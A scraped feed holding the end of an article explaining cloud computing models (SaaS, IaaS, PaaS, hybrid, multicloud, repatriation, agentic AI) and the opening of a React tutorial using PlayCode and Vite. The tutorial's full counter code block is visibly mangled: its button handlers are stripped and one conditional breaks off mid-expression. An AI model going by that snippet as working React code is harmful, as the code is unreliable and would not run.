<p class="wp-block-paragraph">The largest cloud service providers are often described as hyperscalers, due to their capability to provide large-scale data centers across the globe. Hyperscalers typically offer a wide range of cloud services, including IaaS, PaaS, SaaS, and more.</p>



<p class="wp-block-paragraph">As mentioned above, notable hyperscalers include Amazon Web Services (AWS), Google Cloud Platform, and Microsoft Azure. They offer the following capabilities.</p>



<ul class="wp-block-list">
<li><strong>Scalability</strong>: Hyperscalers can handle massive workloads and scale resources up or down quickly.</li>



<li><strong>Cost-effectiveness</strong>: Hyperscalers often offer competitive pricing and economies of scale.</li>



<li><strong>Global reach</strong>: Hyperscalers operate data centers around the world, providing low-latency access to customers in different regions.</li>



<li><strong>Innovation</strong>: Hyperscalers are at the forefront of cloud innovation, offering new services and features.</li>
</ul>



<h3 class="wp-block-heading">Challenges of working with hyperscalers</h3>



<ul class="wp-block-list">
<li><strong>Vendor lock-in</strong>: Relying heavily on a single hyperscaler can create <a href="https://www.cio.com/article/648048/hyperscalers-in-crosshairs-for-anti-competitive-pricing-and-lock-in.html">vendor lock-in</a>, making it difficult to switch to another provider and charging large egress fees if you do move.</li>



<li><strong>Complexity</strong>: Hyperscalers offer a vast array of services, which can be overwhelming for some customers.</li>



<li><strong>Security concerns</strong>: Because hyperscalers handle sensitive data, security is a major concern.</li>
</ul>



<h2 class="wp-block-heading"><strong>AI, Agents, and the Sovereign Cloud</strong></h2>



<p class="wp-block-paragraph">The AI-enabled enterprise has moved beyond simple chatbots. The focus has shifted to <strong>agentic workflows </strong>— autonomous systems that reside in the cloud and possess the authority to execute business processes, manage cloud spend, and self-patch security vulnerabilities without human intervention.</p>



<h3 class="wp-block-heading"><strong>The shift to agentic infrastructure</strong></h3>



<p class="wp-block-paragraph">Cloud providers are no longer just selling compute. They are selling <strong>inference-as-a-service</strong>. Modern cloud budgets are now dominated by the high cost of specialized GPU clusters (such as Nvidia’s Blackwell architecture). This has led to the rise of boutique AI clouds that compete with hyperscalers by offering bare-metal access to the latest silicon specifically for model training and fine-tuning.</p>



<h3 class="wp-block-heading"><strong>Data sovereignty and private AI</strong></h3>



<p class="wp-block-paragraph">A major shift in late 2025 is the move away from public AI models for sensitive data. Organizations are increasingly using retrieval-augmented generation (RAG) within walled garden environments. This ensures that a company’s proprietary data never leaves their specific cloud instance to train a provider’s base model.</p>



<p class="wp-block-paragraph">Furthermore, sovereign AI has become a requirement for global operations. Governments now demand that the AI models processing their citizens’ data be hosted on infrastructure that is owned, operated, and governed within their own borders.</p>



<h3 class="wp-block-heading"><strong>The challenges of ghost AI</strong></h3>



<p class="wp-block-paragraph">Just as shadow IT plagued the 2010s, ghost AI—unauthorized AI agents running on corporate cloud accounts — has become a primary security risk. Managing these autonomous entities requires a new layer of <strong>AI governance</strong>, where the cloud provider automatically audits the intent and permissions of every running agent to prevent runaway costs or data leaks.</p>



<h2 class="wp-block-heading">Cloud computing definitions</h2>



<p class="wp-block-paragraph">In 2011, <a href="https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-145.pdf">NIST posted a PDF</a> that divided cloud computing into three “service models” — SaaS, IaaS, and PaaS (platform as a service) — the latter being a controlled environment within which customers develop and run applications. These three categories have largely stood the test of time, although most PaaS solutions now are made available as services within IaaS ecosystems rather than as dedicated PaaS clouds.</p>



<p class="wp-block-paragraph">Two evolutionary trends stand out since NIST’s threefold definition. One is the long and growing list of subcategories within SaaS, IaaS, and PaaS, some of which blur the lines between categories. The other is the explosion of API-accessible services available in the cloud, particularly within IaaS ecosystems. The cloud has become a crucible of innovation where many emerging technologies appear first as services, a big attraction for business customers who understand the potential competitive advantages of early adoption.</p>



<h3 class="wp-block-heading"><strong>SaaS (software as a service) definition</strong></h3>



<p class="wp-block-paragraph">This type of cloud computing delivers applications over the internet, typically with a browser-based user interface. Today, most software companies offer their wares via <a href="https://www.infoworld.com/article/2256637/what-is-saas-software-as-a-service-defined.html">SaaS </a>— if not exclusively, then at least as an option.</p>



<p class="wp-block-paragraph">The most popular SaaS applications for business are <a href="https://www.computerworld.com/article/3570821/google-workspace-explained-googles-answer-to-microsoft-365.html">Google’s G Suite</a> and <a href="https://www.computerworld.com/article/1710782/office-2021-vs-microsoft-365-office-365-how-to-choose.html">Microsoft’s Office 365</a>. Most enterprise applications, including giant <a href="https://www.cio.com/article/272362/what-is-erp-key-features-of-top-enterprise-resource-planning-systems.html">ERP</a> suites from Oracle and SAP, come in both SaaS and on-premises versions. SaaS applications typically offer extensive configuration options as well as development environments that enable customers to code their own modifications and additions. They also enable data integration with on-prem applications.</p>



<h3 class="wp-block-heading"><strong>IaaS (infrastructure as a service) definition</strong></h3>



<p class="wp-block-paragraph">At a basic level, <a href="https://www.infoworld.com/article/2255598/what-is-iaas-your-data-center-in-the-cloud.html">IaaS </a>cloud providers offer virtualized compute, storage, and networking over the internet on a pay-per-use basis. Think of it as a data center maintained by someone else, remotely, but with a software layer that virtualizes all those resources and automates customers’ ability to allocate them with little trouble.</p>



<p class="wp-block-paragraph">But that’s just the basics. The full array of services offered by the major public IaaS providers is staggering: <a href="https://www.infoworld.com/article/2269279/the-era-of-the-cloud-database-has-finally-begun.html">highly scalable databases</a>, virtual private networks, <a href="https://www.infoworld.com/article/2255434/what-is-big-data-analytics-fast-answers-from-diverse-data-sets.html">big data analytics</a>, <a href="https://www.infoworld.com/article/2259367/buyers-guide-how-to-choose-a-cloud-machine-learning-platform.html">AI and machine learning services</a>, application platforms, developer tools, <a href="https://www.infoworld.com/article/3215275/what-is-devops-transforming-software-development.html">devops</a> tools, and so on. Amazon Web Services was the first IaaS provider and remains the leader, followed by <a href="https://www.infoworld.com/article/2269424/azure-cloud-services-guide-the-right-tools-for-the-job.html">Microsoft Azure</a>, <a href="https://www.infoworld.com/article/2263677/google-cloud-platform-services-guide-the-right-tools-for-the-job.html">Google Cloud Platform</a>, <a href="https://www.infoworld.com/article/2256709/ibm-cloud-services-guide-the-right-tools-for-the-job.html">IBM Cloud</a>, and <a href="https://www.infoworld.com/article/3529339/oracle-cloudworld-2024-10-key-takeaways-from-the-big-annual-event.html">Oracle Cloud</a>.</p>



<h3 class="wp-block-heading"><strong>PaaS (platform as a service) definition</strong></h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2256066/what-is-paas-platform-as-a-service-a-simpler-way-to-build-software-applications.html">PaaS</a> provides sets of services and workflows that specifically target developers, who can use shared tools, processes, and APIs to accelerate the development, testing, and deployment of applications. Salesforce’s <a href="https://www.infoworld.com/article/2257217/5-foolish-reasons-youre-not-using-heroku.html">Heroku</a> and Salesforce Platform (formerly Force.com) are popular public cloud PaaS offerings; <a href="https://www.infoworld.com/article/2258957/cloud-foundry-stages-a-comeback.html">Cloud Foundry</a> and Red Hat’s <a href="https://www.infoworld.com/article/2261552/red-hat-openshift-adds-containers-and-microservices-features-for-developers.html">OpenShift</a> can be deployed on premises or accessed through the major public clouds. For enterprises, PaaS can ensure that developers have ready access to resources, follow certain processes, and use only a specific array of services, while operators maintain the underlying infrastructure.</p>



<h3 class="wp-block-heading"><strong>FaaS (function as a service) definition</strong></h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2256402/paas-caas-or-faas-how-to-choose.html">FaaS</a>, the original and most basic version of <a href="https://www.infoworld.com/article/2266283/serverless-in-the-cloud-aws-vs-google-cloud-vs-microsoft-azure.html">serverless computing</a>, adds another layer of abstraction to PaaS, so that developers are insulated from everything in the stack below their code. Instead of futzing with virtual servers, containers, and application runtimes, developers upload narrowly functional blocks of code, and set them to be triggered by a certain event (such as a form submission or uploaded file). All of the major clouds offer FaaS on top of IaaS: <a href="https://www.infoworld.com/article/2265897/aws-lambda-tutorial-get-started-with-serverless-computing-2.html">AWS Lambda</a>, <a href="https://www.infoworld.com/article/2255377/how-to-work-with-azure-functions-in-csharp.html">Azure Functions</a>, <a href="https://www.infoworld.com/article/2243861/google-takes-aims-at-aws-lambda-with-cloud-functions.html">Google Cloud Functions</a>, and IBM Cloud Functions. A special benefit of FaaS applications is that they consume no IaaS resources until an event occurs, reducing pay-per-use fees.</p>



<h3 class="wp-block-heading"><strong>Private cloud definition</strong></h3>



<p class="wp-block-paragraph">A <a href="https://www.infoworld.com/article/2179737/build-your-own-private-cloud-2.html">private cloud</a> downsizes the technologies used to run IaaS public clouds into software that can be deployed and operated in a customer’s data center. As with a public cloud, internal customers can provision their own virtual resources to build, test, and run applications, with metering to charge back departments for resource consumption. For administrators, the private cloud amounts to the ultimate in data center automation, minimizing manual provisioning and management.</p>



<p class="wp-block-paragraph">VMware remains a force in the private cloud software market, but the acquisition by Broadcom has created confusion and raised concerns among some customers about potential changes in pricing, licensing, and support. This could lead some organizations to explore alternative solutions.</p>



<p class="wp-block-paragraph">OpenStack continues to be a popular open-source choice for building private clouds. It offers a flexible and customizable platform that can be tailored to specific needs. However, OpenStack can be complex to deploy and manage, and it may require significant expertise to maintain.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/3268073/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a>, a container orchestration platform that has gained significant traction in recent years, is often used in conjunction with other technologies like OpenStack to build <a href="https://www.infoworld.com/article/3281046/what-is-cloud-native-the-modern-way-to-develop-software.html">cloud-native</a> applications. Red Hat OpenShift is a comprehensive cloud platform based on Kubernetes that provides a managed experience for deploying and managing <a href="https://www.infoworld.com/article/3310941/why-you-should-use-docker-and-containers.html">container</a>-based, applications.</p>



<p class="wp-block-paragraph">Many cloud providers offer their own cloud-native platforms and tools, such as <a href="https://www.networkworld.com/article/968169/aws-rolls-out-outposts-for-on-premises-hybrid-cloud.html">AWS Outposts</a>, <a href="https://www.infoworld.com/article/2253985/a-cloud-in-your-datacenter-microsoft-azure-stack-arrives.html">Azure Stack</a>, and <a href="https://www.infoworld.com/article/2257617/what-is-google-cloud-anthos-managed-kubernetes-everywhere.html">Google Cloud Anthos</a>.</p>



<p class="wp-block-paragraph">Common factors to consider when evaluating private cloud platforms include the following:</p>



<ol class="wp-block-list">
<li><strong>Pricing</strong>: The initial cost of deployment and ongoing maintenance costs.</li>



<li><strong>Complexity</strong>: The level of technical expertise needed to manage the platform.</li>



<li><strong>Flexibility</strong>: The ability to customize the platform to meet specific needs.</li>



<li><strong>Vendor lock-in</strong>: The degree to which the organization is tied to a particular vendor.</li>



<li><strong>Security</strong>: The security features and capabilities of the platform.</li>



<li><strong>Scalability</strong>: The capability to expand the platform to meet future needs.</li>
</ol>



<h3 class="wp-block-heading"><strong>Hybrid cloud definition</strong></h3>



<p class="wp-block-paragraph">A <a href="https://www.infoworld.com/article/2257084/hybrid-cloud-private-cloud-public-cloud-multicloud-how-to-choose.html">hybrid cloud</a> is the integration of a private cloud with a public cloud. At its most developed, the hybrid cloud involves creating parallel environments in which applications can move easily between private and public clouds. In other instances, databases may stay in the customer data center and integrate with public cloud applications — or virtualized data center workloads may be replicated to the cloud during times of peak demand. The types of integrations between private and public clouds vary widely, but they must be extensive to earn a hybrid cloud designation.</p>



<h3 class="wp-block-heading"><strong>Public APIs (application programming interfaces) definition</strong></h3>



<p class="wp-block-paragraph">Just as SaaS delivers applications to users over the internet, public <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">APIs</a> offer developers application functionality that can be accessed programmatically. For example, in building web applications, developers often tap into the Google Maps API to provide driving directions; to integrate with social media, developers may call upon APIs maintained by Twitter, Facebook, or LinkedIn. <a href="https://www.infoworld.com/article/2253662/get-started-with-twilios-programmable-video-api.html">Twilio</a> has built a successful business delivering telephony and messaging services via public APIs. Ultimately, any business can provision its own public APIs to enable customers to consume data or access application functionality.</p>



<h3 class="wp-block-heading"><strong>iPaaS (integration platform as a service) definition</strong></h3>



<p class="wp-block-paragraph">Data integration is a key issue for any sizeable company, but particularly for those that adopt SaaS at scale. iPaaS providers typically offer prebuilt connectors for sharing data among popular SaaS applications and on-premises enterprise applications, though providers may focus more or less on business-to-business and e-commerce integrations, cloud integrations, or traditional SOA-style integrations. iPaaS offerings in the cloud from such providers as Dell Boomi, Informatica, MuleSoft, and SnapLogic also let users implement data mapping, transformations, and workflows as part of the integration-building process.</p>



<h3 class="wp-block-heading"><strong>IDaaS (identity as a service) definition</strong></h3>



<p class="wp-block-paragraph">The most difficult security issue related to <a href="https://www.infoworld.com/article/2268884/why-cloud-computing-is-always-a-good-question.html">cloud computing</a> is managing user identity and its associated rights and permissions across data centers and pubic cloud sites. <a href="https://www.csoonline.com/article/572759/idaas-explained-how-it-compares-to-iam.html">IDaaS providers</a> maintain cloud-based user profiles that authenticate users and enable access to resources or applications based on security policies, user groups, and individual privileges. The ability to integrate with various directory services (Active Directory, LDAP, etc.) and provide single sign-on across business-oriented SaaS applications is essential.</p>



<p class="wp-block-paragraph">Leaders in IDaaS include Microsoft, IBM, Google, Oracle, Okta, Capgemini, Okta, Junio Corporation, OneLogin, and JumpCloud. <strong> </strong></p>



<h3 class="wp-block-heading"><strong>Collaboration platforms</strong></h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/3595255/slack-adds-templates-to-help-users-kick-off-projects-quicker.html">Collaboration solutions such as Slack</a> and <a href="https://www.computerworld.com/article/3593909/microsoft-combines-teams-chat-and-channels-in-ui-refresh.html">Microsoft Teams</a> have become vital messaging platforms that enable groups to communicate and work together effectively. Basically, these solutions are relatively simple SaaS applications that support chat-style messaging along with file sharing and audio or video communication. Most offer APIs to facilitate integrations with other systems and enable third-party developers to create and share add-ins that augment functionality.</p>



<h3 class="wp-block-heading"><strong>Vertical clouds</strong></h3>



<p class="wp-block-paragraph">Key providers in such industries as financial services, healthcare, retail, life sciences, and manufacturing provide PaaS clouds to enable customers to build vertical applications that tap into industry-specific, API-accessible services. Vertical clouds can dramatically reduce the time to market for vertical applications and accelerate domain-specific B2B integrations. Most vertical clouds are built with the intent of nurturing partner ecosystems.</p>



<h2 class="wp-block-heading"><strong>Other cloud computing considerations</strong></h2>



<p class="wp-block-paragraph">The most widely accepted definition of cloud computing means that you run your workloads on someone else’s servers, but this is not the same as outsourcing. Virtual cloud resources and even SaaS applications must be configured and maintained by the customer. Consider these factors when planning a cloud initiative.</p>



<h3 class="wp-block-heading"><strong>Cloud computing security considerations</strong></h3>



<p class="wp-block-paragraph">Objections to the public cloud generally begin with <a href="https://www.csoonline.com/article/555213/top-cloud-security-threats.html">cloud security</a>, although the major public clouds have proven themselves much less susceptible to attack than the average enterprise data center.</p>



<p class="wp-block-paragraph">Of greater concern is the integration of security policy and identity management between customers and public cloud providers. In addition, government regulation may forbid customers from allowing sensitive data off-premises. Other concerns include the risk of outages and the long-term operational costs of public cloud services.</p>



<h3 class="wp-block-heading"><strong>Multicloud management considerations</strong></h3>



<p class="wp-block-paragraph">To enhance their operational efficiency, reduce costs, and improve security, many companies are increasingly turning to <a href="https://www.infoworld.com/article/2335587/can-cloud-computing-be-truly-federated.html">multicloud strategies</a>. By distributing workloads across <a href="https://www.infoworld.com/article/2336303/are-the-different-public-clouds-really-that-different.html">multiple cloud providers</a>, organizations can avoid vendor lock-in, <a href="https://www.infoworld.com/article/2261783/3-cloud-architecture-patterns-that-optimize-scalability-and-cost.html">optimize costs</a>, and leverage the best-of-breed services offered by different providers.</p>



<p class="wp-block-paragraph">This multicloud approach also improves performance and reliability by minimizing downtime and optimizing latency. Additionally, multicloud strategies strengthen security by diversifying the attack surface and facilitating compliance with industry regulations. Finally, by replicating critical workloads across multiple regions and providers, companies can establish robust disaster recovery and business continuity plans, ensuring minimal disruption in the event of catastrophic failures.</p>



<p class="wp-block-paragraph">The bar to qualify as a <a href="https://www.infoworld.com/article/2256706/what-is-multicloud-the-next-step-in-cloud-computing.html">multicloud</a> adopter is low: A customer just needs to use more than one public cloud service. However, depending on the number and variety of cloud services involved, managing multiple clouds can become complex from both a cost optimization and a technology perspective.</p>



<p class="wp-block-paragraph">In some cases, customers subscribe to multiple cloud services simply to avoid dependence on a single provider. A more sophisticated approach is to select public clouds based on the unique services they offer and, in some cases, integrate them. For example, developers might want to use Google’s <a href="https://www.infoworld.com/article/2336686/google-vertex-ai-studio-puts-the-promise-in-generative-ai.html">Vertex AI Studio</a> on Google Cloud Platform to build AI-driven applications, but prefer <a href="https://www.infoworld.com/article/2260091/what-is-jenkins-the-ci-server-explained.html">Jenkins</a> hosted on the CloudBees platform for <a href="https://www.infoworld.com/article/3271126/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">continuous integration</a>.</p>



<p class="wp-block-paragraph">To control costs and reduce management overhead, some customers opt for <a href="https://www.infoworld.com/article/3520828/how-cloud-custodian-conquered-cloud-resource-management.html">cloud management platforms</a> (CMPs) and/or cloud service brokers (CSBs), which let you manage multiple clouds as if they were one cloud. The problem is that these solutions tend to limit customers to such common-denominator services as storage and compute, ignoring the panoply of services that make each cloud unique.</p>



<h3 class="wp-block-heading"><strong>Edge computing considerations</strong></h3>



<p class="wp-block-paragraph">You often see <a href="https://www.networkworld.com/article/964305/what-is-edge-computing-and-how-it-s-changing-the-network.html">edge computing</a> incorrectly described as an alternative to cloud computing. Edge computing is about moving compute to local devices in a highly distributed system, typically as a layer around a cloud computing core. There is typically a cloud involved to orchestrate all of the devices and take in their data, then analyze it or otherwise act on it. </p>



<h3 class="wp-block-heading"><strong>To the cloud and back – why repatriation is real</strong></h3>



<p class="wp-block-paragraph">While public cloud offers scalability and flexibility, some enterprises are opting to <a href="https://www.infoworld.com/article/2336102/why-companies-are-leaving-the-cloud.html">return to on-premises infrastructure</a> due to rising costs, data security concerns, performance issues, vendor lock-in, and regulatory compliance challenges. While the public cloud offers scalability and flexibility, on-premises infrastructure provides greater control, customization, and potential cost savings in certain scenarios leading some technology decision-makers to <a href="https://www.infoworld.com/article/2336835/do-you-need-to-repatriate-from-the-cloud.html">consider repatriation</a>. However, a hybrid cloud approach, combining public and private cloud, often offers the best balance of benefits.</p>



<p class="wp-block-paragraph">More specific reasons to repatriate including the following:</p>



<ul class="wp-block-list">
<li>Unanticipated costs, such as data transfer fees, storage charges, and <a href="https://www.infoworld.com/article/2336430/why-public-cloud-providers-are-cutting-egress-fees.html">egress fees</a>, can quickly escalate, especially for large-scale cloud deployments.  </li>



<li>Inaccurate resource provisioning or underutilization can lead to higher-than-expected costs.</li>



<li>Stricter <a href="https://www.infoworld.com/article/3545268/why-cloud-security-outranks-cost-and-scalability.html">data privacy regulations</a> require organizations to store and process data within specific geographic boundaries.  </li>



<li>For highly sensitive data, companies may prefer to maintain greater control over security measures and access permissions. </li>



<li><a href="https://www.infoworld.com/article/2338856/cloud-may-be-overpriced-compared-to-on-premises-systems.html">On-premises infrastructure</a> can offer lower latency, particularly for applications requiring real-time processing or high-performance computing.  </li>



<li>Overreliance on a single cloud provider can limit flexibility and increase costs. Repatriation allows organizations to diversify their infrastructure and reduce vendor dependency.  </li>



<li>Industries with stringent compliance requirements may find it easier to meet standards with on-premises infrastructure.  </li>



<li>On-premises environments offer greater control over hardware, software, and network configurations, allowing for customized solutions.  </li>
</ul>



<h2 class="wp-block-heading"><strong>Benefits of cloud computing</strong></h2>



<p class="wp-block-paragraph">The cloud’s main appeal is to reduce the time to market of applications that need to scale dynamically. Increasingly, however, developers are drawn to the cloud by the abundance of advanced new services that can be incorporated into applications, from machine learning to internet of things (IoT) connectivity.</p>



<p class="wp-block-paragraph">Although businesses sometimes migrate legacy applications to the cloud to reduce data center resource requirements, the real benefits accrue to new applications that take advantage of cloud services and “cloud native” attributes. The latter include <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices architecture</a>, <a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Linux containers</a> to enhance application portability, and container management solutions such as <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a> that orchestrate container-based services. <a href="https://www.infoworld.com/article/2255318/what-is-cloud-native-the-modern-way-to-develop-software.html">Cloud-native</a> approaches and solutions can be part of either public or private clouds and help enable highly efficient <a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">devops</a> workflows.</p>



<p class="wp-block-paragraph">Cloud computing, be it public or private or hybrid or multicloud, has become the platform of choice for large applications, particularly customer-facing ones that need to change frequently or scale dynamically. More significantly, the major public clouds now lead the way in enterprise technology development, debuting new advances before they appear anywhere else. Workload by workload, enterprises are opting for the cloud, where an endless parade of exciting new technologies invite innovative use.</p>



<p class="wp-block-paragraph">SaaS has its roots in the ASP (application service provider) trend of the early 2000s, when providers would run applications for business customers in the provider’s data center, with dedicated instances for each customer. The ASP model was a spectacular failure because it quickly became impossible for providers to maintain so many separate instances, particularly as customers demanded customizations and updates.</p>



<p class="wp-block-paragraph">Salesforce is widely considered the first company to launch a highly successful SaaS application using <a href="https://www.infoworld.com/article/2335534/the-evolution-of-multitenancy-for-cloud-computing.html">multitenancy</a> — a defining characteristic of the SaaS model. Rather than each Salesforce customer getting its own application instance, customers who subscribe to the company’s salesforce automation software share a single, large, dynamically scaled instance of an application (like tenants sharing an apartment building), while storing their data in separate, secure repositories on the SaaS provider’s servers. Fixes can be rolled out behind the scenes with zero downtime and customers can receive UX or functionality improvements as they become available.</p>



<p class="wp-block-paragraph"></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[React tutorial: Get started with the React JavaScript library]]></title>
<description><![CDATA[Despite many worthy contenders, React remains the most popular front-end framework, and a key player in the JavaScript development landscape. React is the quintessential reactive engine, continually innovating alongside the rest of the industry. A flagship open source project at Facebook, React i...]]></description>
<link>https://tsecurity.de/de/3665668/ai-nachrichten/react-tutorial-get-started-with-the-react-javascript-library/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665668/ai-nachrichten/react-tutorial-get-started-with-the-react-javascript-library/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Despite many <a href="https://www.infoworld.com/article/2336227/whats-the-best-javascript-framework.html">worthy contenders</a>, React remains the most popular front-end framework, and a key player in the <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a> development landscape. React is the quintessential <a href="https://www.infoworld.com/article/2338730/what-is-reactive-programming-programming-with-event-streams.html">reactive engine</a>, continually innovating alongside the rest of the industry. A flagship open source project at Facebook, React is now part of Meta Open Source. For developers new to JavaScript and web development, this tutorial will get you started with this vital technology.</p>



<p class="wp-block-paragraph">React is not only a front-end framework, but is a component in full-stack frameworks like <a href="https://www.infoworld.com/article/4078213/next-js-16-features-explicit-caching-ai-powered-debugging.html">Next.js</a>. Newer additions like React server-side rendering (SSR) and React server components (RSC) further blur the line between server and client.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3583477/is-the-react-compiler-ready-for-prime-time.html">Is the React compiler ready for primetime?</a></strong></p>



<h2 class="wp-block-heading">Why React?</h2>



<p class="wp-block-paragraph">React’s prominence makes it an obvious choice for developers just starting out with web development. It is often chosen for its ability to offer a smooth and encompassing developer experience (DX), which distinguishes it from frameworks like <a href="https://www.infoworld.com/article/3962039/what-you-need-to-know-about-angular-react-vue-and-svelte-popular-javascript-frameworks-compared.html">Vue, Angular, and Svelte</a>. It could be said that React’s true “killer feature” is the perks that come with longstanding popularity: learning resources, community support, libraries, and developers are all plentiful in the React ecosystem.</p>



<h2 class="wp-block-heading">Installing React</h2>



<p class="wp-block-paragraph">Real-world React requires running on the server with a build tool, which we will explore in the next section. But to get your feet wet, we can start out with an online playground. There are several high-quality playgrounds for React, including full-blown environments like StackBlitz or Codesandbox. For a quick taste, we will use <a href="https://playcode.io/react">PlayCode React</a>.</p>



<p class="wp-block-paragraph">When you first open it, PlayCode React gives you a basic layout like the one shown here:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/image1.png?w=1024" alt="A screenshot shows the layout of a basic Rwact JavaScript application." class="wp-image-4116902" width="1024" height="585" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">The menu on the left is the file explorer, at the top is the code window, and at the bottom are the console (on the left) and the preview pane (on the right).</p>



<p class="wp-block-paragraph">From this screenshot, you can see how the content of the code is displayed on the preview pane, but this basic layout doesn’t use any variables (or “state,” as it’s known in React). It does let you see some of the plumbing, like the React library import and the exported <code>App</code> function.</p>



<p class="wp-block-paragraph">Modern React is functional. The <code>App</code> function has a return value that is the actual output for the component. The component’s return is specified by <a href="https://www.infoworld.com/article/2335613/intro-to-jsx-html-that-does-javascript.html">JSX</a>, a templating language that lets you use HTML along with variables and JavaScript expressions. Right now, the app just has some simple markup.</p>



<p class="wp-block-paragraph">The classic example you see next is a “Counter” that lets you increase and decrease a displayed value using buttons. We’ll do a slight “Spinal Tap” variation of this, where the counter only goes to 11 and displays a message:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/image2.png?w=1024" alt="A screenshot of a counter app developed in React." class="wp-image-4116903" width="1024" height="585" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">You can take a look at the running example <a href="https://playcode.io/react-playground--019ac165-81fd-74b1-8681-188b66459b9e">here</a>, and the full code for the example is below:</p>



<pre class="wp-block-code"><code>import React, { useState } from 'react';

export function App() {
  // 1. The State
  const [volume, setVolume] = useState(0);

  return (
    <div>
      <h1>Spinal Tap Amp 🎸</h1>
     
      {/* 2. The "View" (Displaying the state) */}
      <div>
        {volume}
      </div>

      <div>
        {/* 3. The Actions */
        <button> setVolume(volume - 1)}&gt;Down</button>
       
        <button> {
          if (volume 
          Up
        </button>
      </div>

      {/* 4. Conditional */}
      {volume === 11 &amp;&amp;
        <p>"Why don't you just make ten louder?"</p>
      }
    </div>
  );
}</code></pre>



<p class="wp-block-paragraph">If you play with the example, you’ll see that moving the buttons changes the value, and the display automatically reflects the change. This is the essential magic of a reactive engine like React. The state is a managed variable that React automatically updates and displays. State is declared like so:</p>



<pre class="wp-block-code"><code>const [volume, setVolume] = useState(0);</code></pre>



<p class="wp-block-paragraph">The syntax is a bit funky if you are coming from straight JavaScript, but most developers can adapt to it quickly. Basically, <code>useState(0)</code> says, with a default value <code>0</code>, give me a variable, <code>volume</code>, and a function to set it, <code>setVolume</code>.</p>



<p class="wp-block-paragraph">To display the value in the view, we use: <code>{volume}</code>.</p>



<p class="wp-block-paragraph">To modify the value, we use button event handlers. For example, to increment, we’d do:</p>



<pre class="wp-block-code"><code>To modify the value, we use buttons event handlers.  For example, to increment:

onClick={() =&gt; setVolume(volume + 1)</code></pre>



<p class="wp-block-paragraph">Here we’ve directly modified the volume state, and React will update accordingly. If we wanted to, we could call a function (for example, if the logic were more involved).</p>



<p class="wp-block-paragraph">Finally, when the value reaches 11, we display a message. This syntax is idiomatic React, and uses an embedded JavaScript equality check:</p>



<pre class="wp-block-code"><code>{volume === 11 &amp;&amp;
  <p>"Why don't you just make ten louder?"</p>
}</code></pre>



<p class="wp-block-paragraph">The check says, if volume is 11, then display the <code><p></p></code> markup.</p>



<h2 class="wp-block-heading">Using a build tool with React</h2>



<p class="wp-block-paragraph">Once upon a time, when NVIDIA was nothing but a graphics card, it was quite a bit of work assembling a good build chain for React. These days, the process is much simpler, and the once ubiquitous <code>create-react-app</code> option is no more. <a href="https://www.infoworld.com/article/2266193/7-tools-transforming-javascript-development.html">Vite</a> is now the standard choice for launching a new app from the React terminal, so that’s the approach you’ll learn here.</p>



<p class="wp-block-paragraph">With that said, there are a few alternatives worth mentioning. <a href="https://www.infoworld.com/article/2254808/get-started-with-visual-studio-code.html">VS Code</a> has extensions that will provide you with templates or scaffolding, but what’s becoming more common is <a href="https://www.infoworld.com/article/3973969/knowing-when-to-use-ai-coding-assistants.html">using an AI coding assistant</a>. A tool like Copilot, ChatGPT, or Gemini can take a prompt describing the basics of the application in question, including the instruction to use React, and produce a basic React layout for you. AI assistants are available in both command-line and VS Code extension flavors. Or, for an even more forward-looking option, you could use something like <a href="https://www.infoworld.com/article/3981588/putting-agentic-ai-to-work-in-firebase-studio.html">Firebase Studio</a>.</p>



<p class="wp-block-paragraph">But enough about alternatives—Vite is the standard for a reason. It is repeatable, capable, and fast. To launch a new Vite app, you just enter the following in your command line:</p>



<pre class="wp-block-code"><code>$ npm create vite@latest</code></pre>



<p class="wp-block-paragraph">The interactive tool will walk you through the process, starting with selecting React as your technology:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/image3.png?w=1024" alt="A screenshot of the Vite CLI showing the option to select React." class="wp-image-4116905" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">Use your own preferences for the other options (like using <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a> versus JavaScript) and accept the option to install and launch the app immediately. Afterward, you’ll see a simple demo like this one:</p>


